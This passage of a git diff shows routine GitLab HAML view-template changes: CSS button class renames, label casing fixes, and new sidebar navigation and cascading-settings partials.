- = f.hidden_field :due_date, value: issuable_sidebar[:due_date].try(:strftime, 'yy-mm-dd')
- .dropdown
- %button.dropdown-menu-toggle.js-due-date-select{ type: 'button', data: { toggle: 'dropdown', field_name: "#{issuable_type}[due_date]", ability_name: issuable_type, issue_update: issuable_sidebar[:issuable_json_path], display: 'static' } }
- %span.dropdown-toggle-text
- = _('Due date')
- = sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
- .dropdown-menu.dropdown-menu-due-date
- = dropdown_title(_('Due date'))
- = dropdown_content do
- .js-due-date-calendar
-
+ #js-due-date-entry-point
.js-sidebar-labels{ data: sidebar_labels_data(issuable_sidebar, @project) }
@@ -133,12 +99,12 @@
.block.with-sub-blocks
#js-reference-entry-point
- if issuable_type == 'merge_request'
- .sidebar-source-branch.sub-block
+ .sub-block.js-sidebar-source-branch
.sidebar-collapsed-icon.dont-change-state
= clipboard_button(text: source_branch, title: _('Copy branch name'), placement: "left", boundary: 'viewport')
- .sidebar-mr-source-branch.hide-collapsed
- %span
- = _('Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}').html_safe % { source_branch_open: "<cite class='ref-name' title='#{html_escape(source_branch)}'>".html_safe, source_branch_close: "</cite>".html_safe, source_branch: html_escape(source_branch) }
+ .gl-display-flex.gl-align-items-center.gl-justify-content-space-between.gl-mb-2.hide-collapsed
+ %span.gl-overflow-hidden.gl-text-overflow-ellipsis.gl-white-space-nowrap
+ = _('Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}').html_safe % { source_branch_open: "<span class='gl-font-monospace' data-testid='ref-name' title='#{html_escape(source_branch)}'>".html_safe, source_branch_close: "</span>".html_safe, source_branch: html_escape(source_branch) }
= clipboard_button(text: source_branch, title: _('Copy branch name'), placement: "left", boundary: 'viewport')
- if show_forwarding_email
diff --git a/app/views/shared/issuable/_sidebar_assignees.html.haml b/app/views/shared/issuable/_sidebar_assignees.html.haml
index 26986c913f0..47e7ff0e4bc 100644
--- a/app/views/shared/issuable/_sidebar_assignees.html.haml
+++ b/app/views/shared/issuable/_sidebar_assignees.html.haml
@@ -1,6 +1,7 @@
- issuable_type = issuable_sidebar[:type]
+- dropdown_options = assignees_dropdown_options(issuable_type)
-#js-vue-sidebar-assignees{ data: { field: issuable_type, signed_in: signed_in } }
+#js-vue-sidebar-assignees{ data: { field: issuable_type, signed_in: signed_in, max_assignees: dropdown_options[:data][:"max-select"], directly_invite_members: directly_invite_members?, indirectly_invite_members: indirectly_invite_members? } }
.title.hide-collapsed
= _('Assignee')
= loading_icon(css_class: 'gl-vertical-align-text-bottom')
@@ -29,7 +30,6 @@
null_user: true,
display: 'static' } }
- - dropdown_options = assignees_dropdown_options(issuable_type)
- title = dropdown_options[:title]
- options[:toggle_class] += ' js-multiselect js-save-user-data'
- data = { field_name: "#{issuable_type}[assignee_ids][]" }
@@ -53,10 +53,10 @@
%ul.dropdown-footer-list
%li
- if directly_invite_members?
- = link_to invite_text,
- project_project_members_path(@project),
- title: invite_text,
- data: { 'is-link': true, 'track-event': 'click_invite_members', 'track-label': track_label }
+ .js-invite-members-trigger{ data: { trigger_element: 'anchor',
+ display_text: invite_text,
+ event: 'click_invite_members',
+ label: track_label } }
- else
.js-invite-member-trigger{ data: { display_text: invite_text, event: 'click_invite_members_version_b', label: track_label } }
- else
diff --git a/app/views/shared/issuable/_sort_dropdown.html.haml b/app/views/shared/issuable/_sort_dropdown.html.haml
index f60be3f3e4a..9e3caf62d77 100644
--- a/app/views/shared/issuable/_sort_dropdown.html.haml
+++ b/app/views/shared/issuable/_sort_dropdown.html.haml
@@ -5,7 +5,7 @@
.dropdown.inline.gl-ml-3.issue-sort-dropdown
.btn-group{ role: 'group' }
.btn-group{ role: 'group' }
- %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' }, class: 'btn btn-default' }
+ %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' }, class: 'gl-button btn btn-default' }
= sort_title
= sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
diff --git a/app/views/shared/issuable/_user_dropdown_item.html.haml b/app/views/shared/issuable/_user_dropdown_item.html.haml
index 4a3547e9e70..b3bc7ba85ad 100644
--- a/app/views/shared/issuable/_user_dropdown_item.html.haml
+++ b/app/views/shared/issuable/_user_dropdown_item.html.haml
@@ -2,7 +2,7 @@
- avatar = local_assigns.fetch(:avatar, { })
%li.filter-dropdown-item{ class: ('js-current-user' if user == current_user) }
- %button.btn.btn-link.dropdown-user{ type: :button }
+ %button.gl-button.btn.btn-link.dropdown-user{ type: :button }
.avatar-container.s40
= user_avatar_without_link(user: user, lazy: avatar[:lazy], url: avatar[:url], size: 40, has_tooltip: false)
.dropdown-user-details
diff --git a/app/views/shared/issuable/form/_type_selector.html.haml b/app/views/shared/issuable/form/_type_selector.html.haml
index 67bc4019a82..b5c5e2fa091 100644
--- a/app/views/shared/issuable/form/_type_selector.html.haml
+++ b/app/views/shared/issuable/form/_type_selector.html.haml
@@ -3,26 +3,30 @@
.form-group.row.gl-mb-0
= form.label :type, 'Type', class: 'col-form-label col-sm-2'
.col-sm-10
- .issuable-form-select-holder.selectbox.form-group.gl-mb-0
- .dropdown.js-issuable-type-filter-dropdown-wrap
- %button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
- %span.dropdown-toggle-text.is-default
- = issuable.issue_type.capitalize || _("Select type")
- = sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
- .dropdown-menu.dropdown-menu-selectable.dropdown-select
- .dropdown-title.gl-display-flex
- %span.gl-ml-auto
- = _("Select type")
- %button.dropdown-title-button.dropdown-menu-close.gl-ml-auto{ type: 'button', "aria-label" => _('Close') }
- = sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')
- .dropdown-content
- %ul
- %li.js-filter-issuable-type
- = link_to new_project_issue_path(@project), class: ("is-active" if issuable.issue?) do
- = _("Issue")
- %li.js-filter-issuable-type{ data: { track: { event: "select_issue_type_incident", label: "select_issue_type_incident_dropdown_option" } } }
- = link_to new_project_issue_path(@project, { issuable_template: 'incident', issue: { issue_type: 'incident' } }), class: ("is-active" if issuable.incident?) do
- = _("Incident")
+ .gl-display-flex.gl-align-items-center
+ .issuable-form-select-holder.selectbox.form-group.gl-mb-0
+ .dropdown.js-issuable-type-filter-dropdown-wrap
+ %button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
+ %span.dropdown-toggle-text.is-default
+ = issuable.issue_type.capitalize || _("Select type")
+ = sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
+ .dropdown-menu.dropdown-menu-selectable.dropdown-select
+ .dropdown-title.gl-display-flex
+ %span.gl-ml-auto
+ = _("Select type")
+ %button.dropdown-title-button.dropdown-menu-close.gl-ml-auto{ type: 'button', "aria-label" => _('Close') }
+ = sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')
+ .dropdown-content
+ %ul
+ %li.js-filter-issuable-type
+ = link_to new_project_issue_path(@project), class: ("is-active" if issuable.issue?) do
+ = _("Issue")
+ %li.js-filter-issuable-type{ data: { track: { event: "select_issue_type_incident", label: "select_issue_type_incident_dropdown_option" } } }
+ = link_to new_project_issue_path(@project, { issuable_template: 'incident', issue: { issue_type: 'incident' } }), class: ("is-active" if issuable.incident?) do
+ = _("Incident")
+
+ #js-type-popover
+
- if issuable.incident?
%p.form-text.text-muted
- incident_docs_url = help_page_path('operations/incident_management/incidents.md')
diff --git a/app/views/shared/issue_type/_details_content.html.haml b/app/views/shared/issue_type/_details_content.html.haml
index 7c1ec332ba4..ceedb5e5c59 100644
--- a/app/views/shared/issue_type/_details_content.html.haml
+++ b/app/views/shared/issue_type/_details_content.html.haml
@@ -1,4 +1,5 @@
- related_branches_path = related_branches_project_issue_path(@project, issuable)
+- api_awards_path = local_assigns.fetch(:api_awards_path, nil)
.issue-details.issuable-details
.detail-page-description.content-block
@@ -24,7 +25,7 @@
#related-branches{ data: { url: related_branches_path } }
-# This element is filled in using JavaScript.
- = render 'shared/issue_type/emoji_block', issuable: issuable
+ = render 'shared/issue_type/emoji_block', issuable: issuable, api_awards_path: api_awards_path
= render 'projects/issues/discussion'
diff --git a/app/views/shared/issue_type/_details_header.html.haml b/app/views/shared/issue_type/_details_header.html.haml
index 7e150c544bd..36a68dfdaa7 100644
--- a/app/views/shared/issue_type/_details_header.html.haml
+++ b/app/views/shared/issue_type/_details_header.html.haml
@@ -1,7 +1,7 @@
.detail-page-header
.detail-page-header-body
.issuable-status-box.status-box.status-box-issue-closed{ class: issue_status_visibility(issuable, status_box: :closed) }
- = sprite_icon('mobile-issue-close', css_class: 'gl-display-block gl-sm-display-none!')
+ = sprite_icon('issue-close', css_class: 'gl-display-block gl-sm-display-none!')
.gl-display-none.gl-sm-display-block!
= issue_closed_text(issuable, current_user)
.issuable-status-box.status-box.status-box-open{ class: issue_status_visibility(issuable, status_box: :open) }
@@ -13,7 +13,7 @@
#js-issuable-header-warnings
= issuable_meta(issuable, @project)
- %a.btn.gl-button.btn-default.float-right.gl-display-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
+ %a.btn.gl-button.btn-default.btn-icon.float-right.gl-display-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
= sprite_icon('chevron-double-lg-left')
.js-issue-header-actions{ data: issue_header_actions_data(@project, issuable, current_user) }
diff --git a/app/views/shared/issue_type/_emoji_block.html.haml b/app/views/shared/issue_type/_emoji_block.html.haml
index 42d149b2ab3..ca2749b6bf9 100644
--- a/app/views/shared/issue_type/_emoji_block.html.haml
+++ b/app/views/shared/issue_type/_emoji_block.html.haml
@@ -1,7 +1,9 @@
+- api_awards_path = local_assigns.fetch(:api_awards_path, nil)
+
.content-block.emoji-block.emoji-block-sticky
.row.gl-m-0.gl-justify-content-space-between
.js-noteable-awards
- = render 'award_emoji/awards_block', awardable: issuable, inline: true
+ = render 'award_emoji/awards_block', awardable: issuable, inline: true, api_awards_path: api_awards_path
.new-branch-col
= render_if_exists "projects/issues/timeline_toggle", issuable: issuable
#js-vue-sort-issue-discussions
diff --git a/app/views/shared/members/_member.html.haml b/app/views/shared/members/_member.html.haml
index 0ba3e539357..88e2a74d235 100644
--- a/app/views/shared/members/_member.html.haml
+++ b/app/views/shared/members/_member.html.haml
@@ -67,7 +67,7 @@
- if member.can_resend_invite?
= link_to sprite_icon('paper-airplane'), polymorphic_path([:resend_invite, member]),
method: :post,
- class: 'btn btn-default align-self-center mr-sm-2',
+ class: 'gl-button btn btn-default align-self-center mr-sm-2',
title: _('Resend invite')
- if user != current_user && member.can_update?
@@ -120,7 +120,7 @@
= sprite_icon('leave', css_class: 'gl-icon')
= _('Leave')
- else
- %button{ data: { member_path: member_path(member.member), message: remove_member_message(member), is_access_request: member.request?.to_s, qa_selector: 'delete_member_button' },
+ %button{ data: { member_path: member_path(member.member), member_type: member.type, message: remove_member_message(member), is_access_request: member.request?.to_s, qa_selector: 'delete_member_button' },
class: "js-remove-member-button btn gl-button btn-danger align-self-center m-0 #{'ml-sm-2 btn-icon' unless force_mobile_view}",
title: remove_member_title(member) }
%span{ class: ('d-block d-sm-none' unless force_mobile_view) }
diff --git a/app/views/shared/milestones/_milestone.html.haml b/app/views/shared/milestones/_milestone.html.haml
index f52bf1551f4..44934a12559 100644
--- a/app/views/shared/milestones/_milestone.html.haml
+++ b/app/views/shared/milestones/_milestone.html.haml
@@ -44,22 +44,22 @@
= link_to pluralize(milestone.total_issues_count, _('Issue')), issues_path
- if milestone.merge_requests_enabled?
&middot;
- = link_to pluralize(milestone.merge_requests_visible_to_user(current_user).size, _('Merge Request')), merge_requests_path
+ = link_to pluralize(milestone.total_merge_requests_count, _('Merge request')), merge_requests_path
.float-lg-right.light #{milestone.percent_complete}% complete
.col-sm-2
.milestone-actions.d-flex.justify-content-sm-start.justify-content-md-end
- if @project # if in milestones list on project level
- if can_admin_group_milestones?
- %button.js-promote-project-milestone-button.btn.gl-button.btn-default-tertiary.btn-sm.btn-grouped.has-tooltip{ title: s_('Milestones|Promote to Group Milestone'),
+ %button.js-promote-project-milestone-button.btn.gl-button.btn-icon.btn-default-tertiary.btn-sm.has-tooltip{ title: s_('Milestones|Promote to Group Milestone'),
disabled: true,
type: 'button',
data: { url: promote_project_milestone_path(milestone.project, milestone),
milestone_title: milestone.title,
group_name: @project.group.name } }
- = sprite_icon('level-up', size: 14)
+ = sprite_icon('level-up', size: 14, css_class: 'gl-button-icon gl-icon')
- if can?(current_user, :admin_milestone, milestone)
- if milestone.closed?
- = link_to s_('Milestones|Reopen Milestone'), milestone_path(milestone, milestone: { state_event: :activate }), method: :put, class: "btn gl-button btn-sm btn-grouped"
+ = link_to s_('Milestones|Reopen Milestone'), milestone_path(milestone, milestone: { state_event: :activate }), method: :put, class: "btn gl-button btn-sm gl-ml-3"
- else
- = link_to s_('Milestones|Close Milestone'), milestone_path(milestone, milestone: { state_event: :close }), method: :put, class: "btn gl-button btn-warning-secondary btn-sm btn-grouped btn-close"
+ = link_to s_('Milestones|Close Milestone'), milestone_path(milestone, milestone: { state_event: :close }), method: :put, class: "btn gl-button btn-default btn-default-secondary btn-sm gl-ml-3"
diff --git a/app/views/shared/milestones/_sidebar.html.haml b/app/views/shared/milestones/_sidebar.html.haml
index 661ace8feaa..0e54f1a7672 100644
--- a/app/views/shared/milestones/_sidebar.html.haml
+++ b/app/views/shared/milestones/_sidebar.html.haml
@@ -165,6 +165,6 @@
.cross-project-reference.hide-collapsed
%span
= s_('MilestoneSidebar|Reference:')
- %cite{ title: milestone_ref }
+ %span{ title: milestone_ref }
= milestone_ref
= clipboard_button(text: milestone_ref, title: s_('MilestoneSidebar|Copy reference'), placement: "left", boundary: 'viewport')
diff --git a/app/views/shared/milestones/_tabs.html.haml b/app/views/shared/milestones/_tabs.html.haml
index 33e634c3e7b..3524a1b17ea 100644
--- a/app/views/shared/milestones/_tabs.html.haml
+++ b/app/views/shared/milestones/_tabs.html.haml
@@ -11,7 +11,7 @@
- if milestone.merge_requests_enabled?
%li.nav-item
= link_to '#tab-merge-requests', class: 'nav-link', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'merge_requests', show_project_name: show_project_name) } do
- = _('Merge Requests')
+ = _('Merge requests')
%span.badge.badge-pill= milestone.merge_requests_visible_to_user(current_user).size
%li.nav-item
= link_to '#tab-participants', class: 'nav-link', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'participants') } do
diff --git a/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml b/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml
new file mode 100644
index 00000000000..1e9aa4ec5ff
--- /dev/null
+++ b/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml
@@ -0,0 +1,14 @@
+- attribute = local_assigns.fetch(:attribute, nil)
+- group = local_assigns.fetch(:group, nil)
+- form = local_assigns.fetch(:form, nil)
+
+- return unless attribute && group && form && cascading_namespace_settings_enabled?
+- return if group.namespace_settings.public_send("#{attribute}_locked?")
+
+- lock_attribute = "lock_#{attribute}"
+
+.gl-form-checkbox.custom-control.custom-checkbox
+ = form.check_box lock_attribute, checked: group.namespace_settings.public_send(lock_attribute), class: 'custom-control-input', data: { testid: 'enforce-for-all-subgroups-checkbox' }
+ = form.label lock_attribute, class: 'custom-control-label' do
+ %span= s_('CascadingSettings|Enforce for all subgroups')
+ %p.help-text= s_('CascadingSettings|Subgroups cannot change this setting.')
diff --git a/app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml b/app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml
new file mode 100644
index 00000000000..91458bf180b
--- /dev/null
+++ b/app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml
@@ -0,0 +1 @@
+.js-cascading-settings-lock-popovers
diff --git a/app/views/shared/namespaces/cascading_settings/_setting_label.html.haml b/app/views/shared/namespaces/cascading_settings/_setting_label.html.haml
new file mode 100644
index 00000000000..6596ce2bc73
--- /dev/null
+++ b/app/views/shared/namespaces/cascading_settings/_setting_label.html.haml
@@ -0,0 +1,21 @@
+- attribute = local_assigns.fetch(:attribute, nil)
+- group = local_assigns.fetch(:group, nil)
+- form = local_assigns.fetch(:form, nil)
+- settings_path_helper = local_assigns.fetch(:settings_path_helper, nil)
+- help_text = local_assigns.fetch(:help_text, nil)
+
+- return unless attribute && group && form && settings_path_helper
+
+- setting_locked = group.namespace_settings.public_send("#{attribute}_locked?")
+
+= form.label attribute, class: 'custom-control-label', aria: { disabled: setting_locked } do
+ %span.position-relative.gl-pr-6.gl-display-inline-flex
+ = yield
+ - if setting_locked
+ %button.position-absolute.gl-top-3.gl-right-0.gl-translate-y-n50.gl-cursor-default.btn.btn-default.btn-sm.gl-button.btn-default-tertiary.js-cascading-settings-lock-popover-target{ class: 'gl-p-1! gl-text-gray-600! gl-bg-transparent!',
+ type: 'button',
+ data: cascading_namespace_settings_popover_data(attribute, group, settings_path_helper) }
+ = sprite_icon('lock', size: 16)
+ - if help_text
+ %p.help-text
+ = help_text
diff --git a/app/views/shared/nav/_scope_menu.html.haml b/app/views/shared/nav/_scope_menu.html.haml
new file mode 100644
index 00000000000..270587f48a8
--- /dev/null
+++ b/app/views/shared/nav/_scope_menu.html.haml
@@ -0,0 +1,6 @@
+.context-header
+ = link_to scope_menu.link, **scope_menu.container_html_options do
+ .avatar-container.rect-avatar.s40.project-avatar
+ = source_icon(scope_menu.container, alt: scope_menu.title, class: 'avatar s40 avatar-tile', width: 40, height: 40)
+ .sidebar-context-title
+ = scope_menu.title
diff --git a/app/views/shared/nav/_sidebar.html.haml b/app/views/shared/nav/_sidebar.html.haml
new file mode 100644
index 00000000000..1c06fc9eebf
--- /dev/null
+++ b/app/views/shared/nav/_sidebar.html.haml
@@ -0,0 +1,14 @@
+%aside.nav-sidebar{ class: ('sidebar-collapsed-desktop' if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(sidebar.container), 'aria-label': sidebar.aria_label }
+ .nav-sidebar-inner-scroll
+ - if sidebar.scope_menu
+ = render partial: 'shared/nav/scope_menu', object: sidebar.scope_menu
+ - elsif sidebar.render_raw_scope_menu_partial
+ = render sidebar.render_raw_scope_menu_partial
+
+ %ul.sidebar-top-level-items.qa-project-sidebar
+ - if sidebar.renderable_menus.any?
+ = render partial: 'shared/nav/sidebar_menu', collection: sidebar.renderable_menus
+ - if sidebar.render_raw_menus_partial
+ = render sidebar.render_raw_menus_partial
+
+ = render 'shared/sidebar_toggle_button'
diff --git a/app/views/shared/nav/_sidebar_menu.html.haml b/app/views/shared/nav/_sidebar_menu.html.haml
new file mode 100644
index 00000000000..cd3222294f3
--- /dev/null
+++ b/app/views/shared/nav/_sidebar_menu.html.haml
@@ -0,0 +1,27 @@
+= nav_link(**sidebar_menu.all_active_routes, html_options: sidebar_menu.nav_link_html_options) do
+ = link_to sidebar_menu.link, **sidebar_menu.container_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: sidebar_menu.title } do
+ - if sidebar_menu.icon_or_image?
+ .nav-icon-container
+ - if sidebar_menu.image_path
+ = image_tag(sidebar_menu.image_path, **sidebar_menu.image_html_options)
+ - elsif sidebar_menu.sprite_icon
+ = sprite_icon(sidebar_menu.sprite_icon, **sidebar_menu.sprite_icon_html_options)
+
+ %span.nav-item-name{ **sidebar_menu.title_html_options }
+ = sidebar_menu.title
+ - if sidebar_menu.has_pill?
+ %span.badge.badge-pill.count{ **sidebar_menu.pill_html_options }
+ = number_with_delimiter(sidebar_menu.pill_count)
+
+ %ul.sidebar-sub-level-items{ class: ('is-fly-out-only' unless sidebar_menu.has_items?) }
+ = nav_link(**sidebar_menu.all_active_routes, html_options: { class: 'fly-out-top-item' } ) do
+ = link_to sidebar_menu.link, title: sidebar_menu.title do
+ %strong.fly-out-top-item-name
+ = sidebar_menu.title
+ - if sidebar_menu.has_pill?
+ %span.badge.badge-pill.count.fly-out-badge{ **sidebar_menu.pill_html_options }
+ = number_with_delimiter(sidebar_menu.pill_count)
+
+ - if sidebar_menu.has_renderable_items?
+ %li.divider.fly-out-top-item
+ = render partial: 'shared/nav/sidebar_menu_item', collection: sidebar_menu.renderable_items
diff --git a/app/views/shared/nav/_sidebar_menu_item.html.haml b/app/views/shared/nav/_sidebar_menu_item.html.haml
new file mode 100644
index 00000000000..0b0e4c7aec9
--- /dev/null
+++ b/app/views/shared/nav/_sidebar_menu_item.html.haml
@@ -0,0 +1,8 @@
+= nav_link(**sidebar_menu_item.active_routes) do
+ = link_to sidebar_menu_item.link, **sidebar_menu_item.container_html_options, data: { qa_selector: 'sidebar_menu_item_link', qa_menu_item: sidebar_menu_item.title } do
+ %span
+ = sidebar_menu_item.title
+ - if sidebar_menu_item.sprite_icon
+ = sprite_icon(sidebar_menu_item.sprite_icon, **sidebar_menu_item.sprite_icon_html_options)
+ - if sidebar_menu_item.show_hint?
+ .js-feature-highlight{ **sidebar_menu_item.hint_html_options }
diff --git a/app/views/shared/notes/_comment_button.html.haml b/app/views/shared/notes/_comment_button.html.haml
index 4f1aa3a7b01..1129fed9c3b 100644
--- a/app/views/shared/notes/_comment_button.html.haml
+++ b/app/views/shared/notes/_comment_button.html.haml
@@ -1,15 +1,15 @@
- noteable_name = @note.noteable.human_class_name
.float-left.btn-group.gl-mr-3.droplab-dropdown.comment-type-dropdown.js-comment-type-dropdown
- %input.btn.gl-button.btn-success.js-comment-button.js-comment-submit-button{ type: 'submit', value: _('Comment'), data: { qa_selector: 'comment_button' } }
+ %input.btn.gl-button.btn-confirm.js-comment-button.js-comment-submit-button{ type: 'submit', value: _('Comment'), data: { qa_selector: 'comment_button' } }
- if @note.can_be_discussion_note?
- = button_tag type: 'button', class: 'gl-button btn dropdown-toggle btn-success js-note-new-discussion js-disable-on-submit', data: { 'dropdown-trigger' => '#resolvable-comment-menu' }, 'aria-label' => _('Open comment type dropdown') do
+ = button_tag type: 'button', class: 'gl-button btn dropdown-toggle btn-confirm js-note-new-discussion js-disable-on-submit', data: { 'dropdown-trigger' => '#resolvable-comment-menu' }, 'aria-label' => _('Open comment type dropdown') do
= sprite_icon('chevron-down')
%ul#resolvable-comment-menu.dropdown-menu.dropdown-open-top{ data: { dropdown: true } }
%li#comment.droplab-item-selected{ data: { value: '', 'submit-text' => _('Comment'), 'close-text' => _("Comment & close %{noteable_name}") % { noteable_name: noteable_name }, 'reopen-text' => _("Comment & reopen %{noteable_name}") % { noteable_name: noteable_name } } }
- %button.btn.gl-button.btn-transparent
+ %button.btn.gl-button.btn-default-tertiary
= sprite_icon('check', css_class: 'icon')
.description
%strong= _("Comment")
@@ -19,7 +19,7 @@
%li.divider.droplab-item-ignore
%li#discussion{ data: { value: 'DiscussionNote', 'submit-text' => _('Start thread'), 'close-text' => _("Start thread & close %{noteable_name}") % { noteable_name: noteable_name }, 'reopen-text' => _("Start thread & reopen %{noteable_name}") % { noteable_name: noteable_name } } }
- %button.btn.gl-button.btn-transparent
+ %button.btn.gl-button.btn-default-tertiary
= sprite_icon('check', css_class: 'icon')
.description
%strong= _("Start thread")
diff --git a/app/views/shared/notes/_note.html.haml b/app/views/shared/notes/_note.html.haml
index f1352be28e3..6549c86ab29 100644
--- a/app/views/shared/notes/_note.html.haml
+++ b/app/views/shared/notes/_note.html.haml
@@ -69,7 +69,7 @@
.note-attachment
- if note.attachment.image?
= link_to note.attachment.url, target: '_blank' do
- = image_tag note.attachment.url, class: 'note-image-attach'
+ = image_tag note.attachment.url, class: 'note-image-attach col-lg-4'
.attachment
= link_to note.attachment.url, target: '_blank' do
= sprite_icon('paperclip')
diff --git a/app/views/shared/projects/_project.html.haml b/app/views/shared/projects/_project.html.haml
index a33cd7c3b53..7466f360f67 100644
--- a/app/views/shared/projects/_project.html.haml
+++ b/app/views/shared/projects/_project.html.haml
@@ -24,7 +24,7 @@
.avatar-container.s48.flex-grow-0.flex-shrink-0{ class: avatar_container_class }
= link_to project_path(project), class: dom_class(project) do
- if project.creator && use_creator_avatar
- = image_tag avatar_icon_for_user(project.creator, 48), class: "avatar s48", alt:''
+ = image_tag avatar_icon_for_user(project.creator, 48), class: "avatar s48", alt: ''
- else
= project_icon(project, alt: '', class: 'avatar project-avatar s48', width: 48, height: 48)
.project-details.d-sm-flex.flex-sm-fill.align-items-center{ data: { qa_selector: 'project_content', qa_project_name: project.name } }
@@ -90,7 +90,7 @@
- if show_merge_request_count?(disabled: !merge_requests, compact_mode: compact_mode)
= link_to project_merge_requests_path(project),
class: "d-none d-xl-flex align-items-center icon-wrapper merge-requests has-tooltip",
- title: _('Merge Requests'), data: { container: 'body', placement: 'top' } do
+ title: _('Merge requests'), data: { container: 'body', placement: 'top' } do
= sprite_icon('git-merge', size: 14, css_class: 'gl-mr-2')
= number_with_delimiter(project.open_merge_requests_count)
- if show_issue_count?(disabled: !issues, compact_mode: compact_mode)
diff --git a/app/views/shared/projects/_search_bar.html.haml b/app/views/shared/projects/_search_bar.html.haml
index 6c3a6ce809f..8ec11d9cfbb 100644
--- a/app/views/shared/projects/_search_bar.html.haml
+++ b/app/views/shared/projects/_search_bar.html.haml
@@ -3,7 +3,7 @@
- flex_grow_and_shrink_xs = 'd-flex flex-xs-grow-1 flex-xs-shrink-1 flex-grow-0 flex-shrink-0'
.filtered-search-block.row-content-block.bt-0
- .filtered-search-wrapper.d-flex.flex-nowrap.flex-column.flex-sm-wrap.flex-sm-row.flex-xl-nowrap
+ .filtered-search-wrapper.d-flex.gl-flex-nowrap.flex-column.flex-sm-wrap.flex-sm-row.flex-xl-nowrap
- unless project_tab_filter == :starred
.filtered-search-nav.mb-2.mb-lg-0{ class: flex_grow_and_shrink_xs }
= render 'dashboard/projects/nav', project_tab_filter: project_tab_filter
diff --git a/app/views/shared/projects/_sort_dropdown.html.haml b/app/views/shared/projects/_sort_dropdown.html.haml
index 3e810dc6f08..f3aeaacbdb1 100644
--- a/app/views/shared/projects/_sort_dropdown.html.haml
+++ b/app/views/shared/projects/_sort_dropdown.html.haml
@@ -3,7 +3,7 @@
.btn-group.w-100{ role: "group" }
.btn-group.w-100.dropdown.js-project-filter-dropdown-wrap{ role: "group" }
- %button#sort-projects-dropdown.btn.btn-default.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' } }
+ %button#sort-projects-dropdown.gl-button.btn.btn-default.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' } }
= toggle_text
= sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
diff --git a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
index 75d6d88fbc3..6a362866f41 100644
--- a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
+++ b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
@@ -33,6 +33,6 @@
%p.small
= _('Members of %{group} can also push to this branch: %{branch}') % { group: (group_push_access_levels.size > 1 ? 'these groups' : 'this group'), branch: group_push_access_levels.map(&:humanize).to_sentence }
-- if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project)
+- if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
%td
= render "shared/buttons/project_feature_toggle", is_checked: protected_branch.allow_force_push, label: s_("ProtectedBranch|Toggle allow force push"), class_list: "js-force-push-toggle project-feature-toggle", data: { qa_selector: 'force_push_toggle_button', qa_branch_name: protected_branch.name }
diff --git a/app/views/shared/promotions/_promote_servicedesk.html.haml b/app/views/shared/promotions/_promote_servicedesk.html.haml
index 3a5123acdeb..a2da23de2b9 100644
--- a/app/views/shared/promotions/_promote_servicedesk.html.haml
+++ b/app/views/shared/promotions/_promote_servicedesk.html.haml
@@ -1,6 +1,6 @@
.user-callout.promotion-callout.js-service-desk-callout#promote_service_desk{ data: { uid: 'promote_service_desk_dismissed' } }
.bordered-box.content-block
- %button.btn.btn-default.close.js-close-callout{ type: 'button', 'aria-label' => 'Dismiss Service Desk promotion' }
+ %button.gl-button.btn.btn-default.close.js-close-callout{ type: 'button', 'aria-label' => 'Dismiss Service Desk promotion' }
= sprite_icon('close', size: 16, css_class: 'dismiss-icon')
.svg-container
= custom_icon('icon_service_desk')
diff --git a/app/views/shared/runners/_form.html.haml b/app/views/shared/runners/_form.html.haml
index bb2aa93740e..8d0069a7664 100644
--- a/app/views/shared/runners/_form.html.haml
+++ b/app/views/shared/runners/_form.html.haml
@@ -59,4 +59,4 @@
.col-sm-10
= f.text_field :private_projects_minutes_cost_factor, class: 'form-control'
.form-actions
- = f.submit _('Save changes'), class: 'btn btn-success'
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/shared/runners/_runner_type_alert.html.haml b/app/views/shared/runners/_runner_type_alert.html.haml
new file mode 100644
index 00000000000..b83def8b802
--- /dev/null
+++ b/app/views/shared/runners/_runner_type_alert.html.haml
@@ -0,0 +1,20 @@
+.gl-alert.gl-alert-info.gl-my-5
+ = sprite_icon('information-o', css_class: 'gl-alert-icon')
+ - if runner.instance_type?
+ %h4.gl-alert-title
+ = s_('Runners|This runner is available to all groups and projects in your GitLab instance.')
+ .gl-alert-body
+ = s_('Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner.')
